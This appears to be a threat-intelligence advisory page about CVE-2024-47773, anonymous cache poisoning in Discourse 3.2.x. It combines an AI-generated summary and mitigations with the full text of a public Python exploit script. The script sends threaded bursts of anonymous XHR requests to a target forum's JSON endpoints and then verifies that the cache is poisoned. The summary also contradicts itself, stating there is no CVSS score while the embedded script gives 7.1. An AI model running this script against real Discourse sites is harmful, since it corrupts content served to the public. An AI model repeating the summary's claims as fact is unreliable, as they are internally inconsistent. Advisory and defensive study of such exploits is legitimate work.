Discourse 3.2.x - Anonymous Cache Poisoning
Discourse 3.2.x - Anonymous Cache Poisoning
AI Analysis
Technical Summary
The reported security threat concerns an exploit targeting Discourse version 3.2.x, specifically involving anonymous cache poisoning. Discourse is a popular open-source discussion platform widely used for community forums and collaboration. Cache poisoning in this context refers to an attacker manipulating the cached content served to anonymous users, potentially causing the delivery of malicious or misleading content without authentication. This can undermine the integrity and trustworthiness of the platform's content delivery. The exploit targets the caching mechanism that serves anonymous users, allowing an attacker to inject or alter cached responses, which then get served to other users. Since the vulnerability affects anonymous cache, it does not require user authentication, increasing the attack surface. The exploit code is publicly available and written in Python, indicating that proof-of-concept or weaponized scripts exist to facilitate exploitation. Although no specific affected versions are listed beyond 3.2.x, the lack of patch information suggests that this vulnerability might be unpatched or newly disclosed. The absence of a CVSS score and the medium severity rating imply a moderate risk, likely due to the requirement of specific conditions for successful exploitation and the limited direct impact on authenticated user data. However, the ability to poison cache content can lead to misinformation, phishing, or drive-by malware delivery, impacting user trust and platform reputation.
Potential Impact
For European organizations using Discourse 3.2.x, this vulnerability poses a risk primarily to the integrity and availability of the content served to anonymous users. Attackers could manipulate cached pages to display malicious content, misleading information, or phishing attempts, potentially damaging the organization's reputation and user trust. This is particularly critical for public-facing forums used by government bodies, educational institutions, or enterprises that rely on Discourse for community engagement. While the confidentiality impact is limited since the exploit targets anonymous cache, the integrity and availability of information can be significantly affected. Additionally, if attackers use this vector to distribute malware or redirect users to malicious sites, it could lead to broader security incidents. The exploit does not require authentication, making it easier to attempt from external sources, increasing the threat level for organizations with publicly accessible Discourse installations.
Mitigation Recommendations
Organizations should immediately verify if they are running Discourse version 3.2.x and assess exposure of anonymous caching mechanisms. Since no official patch links are provided, it is critical to monitor Discourse security advisories for updates or patches addressing this issue. In the interim, administrators can consider disabling or restricting anonymous caching to prevent poisoned cache entries. Implementing strict cache-control headers and validating cache keys to ensure they cannot be manipulated by user input can reduce risk. Web Application Firewalls (WAFs) should be configured to detect and block suspicious requests targeting cache poisoning vectors. Additionally, monitoring cache content integrity and setting up alerting for unexpected content changes can help detect exploitation attempts early. Regularly updating Discourse to the latest stable version once patches are available is essential. Finally, educating users about potential phishing or malicious content risks stemming from this vulnerability can mitigate downstream impacts.
Affected Countries
Germany, France, United Kingdom, Netherlands, Sweden, Italy, Spain, Belgium
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 """ Exploit Title: Discourse 3.2.x - Anonymous Cache Poisoning Date: 2024-10-15 Exploit Author: ibrahimsql Github: : https://github.com/ibrahmsql Vendor Homepage: https://discourse.org Software Link: https://github.com/discourse/discourse Version: Discourse < latest (patched) Tested on: Discourse 3.1.x, 3.2.x CVE: CVE-2024-47773 CVSS: 7.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L) Description: Discourse anonymous cache poisoning vulnerability allows attackers to poison the cache with responses without preloaded data through multiple XHR requests. This affects only anonymous visitors of the site. Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-47773 """ import requests import sys import argparse import time import threading import json from urllib.parse import urljoin class DiscourseCachePoisoning: def __init__(self, target_url, threads=10, timeout=10): self.target_url = target_url.rstrip('/') self.threads = threads self.timeout = timeout self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'X-Requested-With': 'XMLHttpRequest' }) self.poisoned = False def check_target(self): """Check if target is accessible and running Discourse""" try: response = self.session.get(f"{self.target_url}/", timeout=self.timeout) if response.status_code == 200: if 'discourse' in response.text.lower() or 'data-discourse-setup' in response.text: return True except Exception as e: print(f"[-] Error checking target: {e}") return False def check_anonymous_cache(self): """Check if anonymous cache is enabled""" try: # Test endpoint that should be cached for anonymous users response = self.session.get(f"{self.target_url}/categories.json", timeout=self.timeout) # Check cache headers cache_headers = ['cache-control', 'etag', 'last-modified'] has_cache = any(header in response.headers for header in cache_headers) if has_cache: print("[+] Anonymous cache appears to be enabled") return True else: print("[-] Anonymous cache may be disabled") return False except Exception as e: print(f"[-] Error checking cache: {e}") return False def poison_cache_worker(self, endpoint): """Worker function for cache poisoning attempts""" try: # Create session without cookies to simulate anonymous user anon_session = requests.Session() anon_session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'X-Requested-With': 'XMLHttpRequest' }) # Make rapid requests to poison cache for i in range(50): response = anon_session.get( f"{self.target_url}{endpoint}", timeout=self.timeout ) # Check if response lacks preloaded data if response.status_code == 200: try: data = response.json() # Check for missing preloaded data indicators if self.is_poisoned_response(data): print(f"[+] Cache poisoning successful on {endpoint}") self.poisoned = True return True except: pass time.sleep(0.1) except Exception as e: pass return False def is_poisoned_response(self, data): """Check if response indicates successful cache poisoning""" # Look for indicators of missing preloaded data indicators = [ # Missing or empty preloaded data not data.get('preloaded', True), data.get('preloaded') == {}, # Missing expected fields 'categories' in data and not data['categories'], 'topics' in data and not data['topics'], # Error indicators data.get('error') is not None, data.get('errors') is not None ] return any(indicators) def test_cache_poisoning(self): """Test cache poisoning on multiple endpoints""" print("[*] Testing cache poisoning vulnerability...") # Target endpoints that are commonly cached endpoints = [ '/categories.json', '/latest.json', '/top.json', '/c/general.json', '/site.json', '/site/basic-info.json' ] threads = [] for endpoint in endpoints: print(f"[*] Testing endpoint: {endpoint}") # Create multiple threads to poison cache for i in range(self.threads): thread = threading.Thread( target=self.poison_cache_worker, args=(endpoint,) ) threads.append(thread) thread.start() # Wait for threads to complete for thread in threads: thread.join(timeout=5) if self.poisoned: break time.sleep(1) return self.poisoned def verify_poisoning(self): """Verify if cache poisoning was successful""" print("[*] Verifying cache poisoning...") # Test with fresh anonymous session verify_session = requests.Session() verify_session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) try: response = verify_session.get(f"{self.target_url}/categories.json", timeout=self.timeout) if response.status_code == 200: try: data = response.json() if self.is_poisoned_response(data): print("[+] Cache poisoning verified - anonymous users affected") return True else: print("[-] Cache poisoning not verified") except: print("[-] Unable to parse response") else: print(f"[-] Unexpected response code: {response.status_code}") except Exception as e: print(f"[-] Error verifying poisoning: {e}") return False def exploit(self): """Main exploit function""" print(f"[*] Testing Discourse Cache Poisoning (CVE-2024-47773)") print(f"[*] Target: {self.target_url}") if not self.check_target(): print("[-] Target is not accessible or not running Discourse") return False print("[+] Target confirmed as Discourse instance") if not self.check_anonymous_cache(): print("[-] Anonymous cache may be disabled (DISCOURSE_DISABLE_ANON_CACHE set)") print("[*] Continuing with exploit attempt...") success = self.test_cache_poisoning() if success: print("[+] Cache poisoning attack successful!") self.verify_poisoning() print("\n[!] Impact: Anonymous visitors may receive responses without preloaded data") print("[!] Recommendation: Upgrade Discourse or set DISCOURSE_DISABLE_ANON_CACHE") return True else: print("[-] Cache poisoning attack failed") print("[*] Target may be patched or cache disabled") return False def main(): parser = argparse.ArgumentParser(description='Discourse Anonymous Cache Poisoning (CVE-2024-47773)') parser.add_argument('-u', '--url', required=True, help='Target Discourse URL') parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads (default: 10)') parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10)') args = parser.parse_args() exploit = DiscourseCachePoisoning(args.url, args.threads, args.timeout) try: success = exploit.exploit() sys.exit(0 if success else 1) except KeyboardInterrupt: print("\n[-] Exploit interrupted by user") sys.exit(1) except Exception as e: print(f"[-] Exploit failed: {e}") sys.exit(1) if __name__ == '__main__': main()
Discourse 3.2.x - Anonymous Cache Poisoning
Description
Discourse 3.2.x - Anonymous Cache Poisoning
AI-Powered Analysis
Technical Analysis
The reported security threat concerns an exploit targeting Discourse version 3.2.x, specifically involving anonymous cache poisoning. Discourse is a popular open-source discussion platform widely used for community forums and collaboration. Cache poisoning in this context refers to an attacker manipulating the cached content served to anonymous users, potentially causing the delivery of malicious or misleading content without authentication. This can undermine the integrity and trustworthiness of the platform's content delivery. The exploit targets the caching mechanism that serves anonymous users, allowing an attacker to inject or alter cached responses, which then get served to other users. Since the vulnerability affects anonymous cache, it does not require user authentication, increasing the attack surface. The exploit code is publicly available and written in Python, indicating that proof-of-concept or weaponized scripts exist to facilitate exploitation. Although no specific affected versions are listed beyond 3.2.x, the lack of patch information suggests that this vulnerability might be unpatched or newly disclosed. The absence of a CVSS score and the medium severity rating imply a moderate risk, likely due to the requirement of specific conditions for successful exploitation and the limited direct impact on authenticated user data. However, the ability to poison cache content can lead to misinformation, phishing, or drive-by malware delivery, impacting user trust and platform reputation.
Potential Impact
For European organizations using Discourse 3.2.x, this vulnerability poses a risk primarily to the integrity and availability of the content served to anonymous users. Attackers could manipulate cached pages to display malicious content, misleading information, or phishing attempts, potentially damaging the organization's reputation and user trust. This is particularly critical for public-facing forums used by government bodies, educational institutions, or enterprises that rely on Discourse for community engagement. While the confidentiality impact is limited since the exploit targets anonymous cache, the integrity and availability of information can be significantly affected. Additionally, if attackers use this vector to distribute malware or redirect users to malicious sites, it could lead to broader security incidents. The exploit does not require authentication, making it easier to attempt from external sources, increasing the threat level for organizations with publicly accessible Discourse installations.
Mitigation Recommendations
Organizations should immediately verify if they are running Discourse version 3.2.x and assess exposure of anonymous caching mechanisms. Since no official patch links are provided, it is critical to monitor Discourse security advisories for updates or patches addressing this issue. In the interim, administrators can consider disabling or restricting anonymous caching to prevent poisoned cache entries. Implementing strict cache-control headers and validating cache keys to ensure they cannot be manipulated by user input can reduce risk. Web Application Firewalls (WAFs) should be configured to detect and block suspicious requests targeting cache poisoning vectors. Additionally, monitoring cache content integrity and setting up alerting for unexpected content changes can help detect exploitation attempts early. Regularly updating Discourse to the latest stable version once patches are available is essential. Finally, educating users about potential phishing or malicious content risks stemming from this vulnerability can mitigate downstream impacts.
Affected Countries
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52358
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Discourse 3.2.x - Anonymous Cache Poisoning
#!/usr/bin/env python3 """ Exploit Title: Discourse 3.2.x - Anonymous Cache Poisoning Date: 2024-10-15 Exploit Author: ibrahimsql Github: : https://github.com/ibrahmsql Vendor Homepage: https://discourse.org Software Link: https://github.com/discourse/discourse Version: Discourse < latest (patched) Tested on: Discourse 3.1.x, 3.2.x CVE: CVE-2024-47773 CVSS: 7.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L) Description: Discourse anonymous cache poisoning vulnerability allows attackers to poison the cac
... (8653 more characters)
Threat ID: 686e74f66f40f0eb72042dd4
Added to database: 7/9/2025, 1:56:06 PM
Last enriched: 7/16/2025, 9:20:04 PM
Last updated: 8/18/2025, 9:34:48 AM
Views: 27
Related Threats
Researcher to release exploit for full auth bypass on FortiWeb
HighTop Israeli Cybersecurity Director Arrested in US Child Exploitation Sting
HighEncryptHub abuses Brave Support in new campaign exploiting MSC EvilTwin flaw
MediumU.S. CISA adds N-able N-Central flaws to its Known Exploited Vulnerabilities catalog - Security Affairs
MediumU.S. CISA adds Microsoft Internet Explorer, Microsoft Office Excel, and WinRAR flaws to its Known Exploited Vulnerabilities catalog
MediumActions
Updates to AI analysis are available only with a Pro account. Contact root@offseq.com for access.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.